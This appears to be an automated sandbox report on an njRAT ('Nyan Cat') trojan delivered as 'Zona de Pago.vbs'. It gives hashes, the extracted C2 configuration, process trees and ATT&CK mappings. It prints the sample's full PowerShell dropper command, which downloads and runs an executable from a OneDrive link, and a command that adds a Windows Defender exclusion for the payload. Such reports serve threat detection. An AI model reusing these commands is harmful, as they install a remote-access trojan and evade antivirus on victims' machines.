njrat | 282b7e31f3fff63d2f713d0841e75e52294bb6601454e78bfd9285839ec4a34a

General

Target

Zona de Pago.vbs
Size

162KB
MD5

df165c37e5339e9a1a720e593d8f2eb1
SHA1

29f8959f9934a0a4f64bbdb3dbaa878334814fc4
SHA256

282b7e31f3fff63d2f713d0841e75e52294bb6601454e78bfd9285839ec4a34a
SHA512

277043fe7d52b876d3c8e04d0ae76f232a6e64774aeb89399c1e47952e82c65814e9004a0dcf1a824ca45ce52a05619b33fc7bcb9e33e740ecb83cc20b12b447

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

reald27.duckdns.org:3525

Mutex

f45dd4eb26

Attributes

reg_key
f45dd4eb26
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1724 powershell.exe
11 1724 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Hostdyn.exeHostdyn.exe

pid process

1616 Hostdyn.exe
1196 Hostdyn.exe

flow	pid	process
8	1724	powershell.exe
11	1724	powershell.exe

pid	process
1616	Hostdyn.exe
1196	Hostdyn.exe

Drops startup file 2 IoCs

Processes:

WScript.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Hostdyn.exe

description pid process target process

PID 1616 set thread context of 1196 1616 Hostdyn.exe Hostdyn.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1724 powershell.exe
1724 powershell.exe
1724 powershell.exe
1928 powershell.exe

description	pid	process	target process
PID 1616 set thread context of 1196	1616	Hostdyn.exe	Hostdyn.exe

pid	process
1724	powershell.exe
1724	powershell.exe
1724	powershell.exe
1928	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exepowershell.exeHostdyn.exe

description	pid	process
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe
Token: 33	1196	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	1196	Hostdyn.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exeHostdyn.exe

description	pid	process	target process
PID 1636 wrote to memory of 1724	1636	WScript.exe	powershell.exe
PID 1636 wrote to memory of 1724	1636	WScript.exe	powershell.exe
PID 1636 wrote to memory of 1724	1636	WScript.exe	powershell.exe
PID 1724 wrote to memory of 1616	1724	powershell.exe	Hostdyn.exe
PID 1724 wrote to memory of 1616	1724	powershell.exe	Hostdyn.exe
PID 1724 wrote to memory of 1616	1724	powershell.exe	Hostdyn.exe
PID 1724 wrote to memory of 1616	1724	powershell.exe	Hostdyn.exe
PID 1616 wrote to memory of 1928	1616	Hostdyn.exe	powershell.exe
PID 1616 wrote to memory of 1928	1616	Hostdyn.exe	powershell.exe
PID 1616 wrote to memory of 1928	1616	Hostdyn.exe	powershell.exe
PID 1616 wrote to memory of 1928	1616	Hostdyn.exe	powershell.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe
PID 1616 wrote to memory of 1196	1616	Hostdyn.exe	Hostdyn.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zona de Pago.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE' ) -encoding byte -Path $env:appdata\Hostdyn.exe; Start-Process $env:appdata\Hostdyn.exe"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1196

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
0bb825d7755c400a76fd8512f6baab38

SHA1
278d3e2ca71d1b8f1e3b521e8885ae13e25d84da

SHA256
2543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9

SHA512
60bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34

Download Submit
memory/1196-81-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download
memory/1196-75-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/1196-73-0x000000000040676E-mapping.dmp

Download
memory/1196-72-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/1616-67-0x0000000004F60000-0x0000000004F61000-memory.dmp

Filesize
4KB

Download
memory/1616-69-0x00000000007B0000-0x0000000000807000-memory.dmp

Filesize
348KB

Download
memory/1616-62-0x0000000000000000-mapping.dmp

Download
memory/1616-70-0x0000000000D00000-0x0000000000D22000-memory.dmp

Filesize
136KB

Download
memory/1616-65-0x0000000001280000-0x0000000001281000-memory.dmp

Filesize
4KB

Download
memory/1616-68-0x0000000000260000-0x0000000000267000-memory.dmp

Filesize
28KB

Download
memory/1636-53-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

Filesize
8KB

Download
memory/1724-56-0x000007FEF2DC0000-0x000007FEF391D000-memory.dmp

Filesize
11.4MB

Download
memory/1724-60-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/1724-59-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1724-57-0x0000000002840000-0x0000000002842000-memory.dmp

Filesize
8KB

Download
memory/1724-58-0x0000000002842000-0x0000000002844000-memory.dmp

Filesize
8KB

Download
memory/1724-61-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/1724-54-0x0000000000000000-mapping.dmp

Download
memory/1928-71-0x0000000000000000-mapping.dmp

Download
memory/1928-77-0x0000000076161000-0x0000000076163000-memory.dmp

Filesize
8KB

Download
memory/1928-78-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1928-79-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1928-80-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads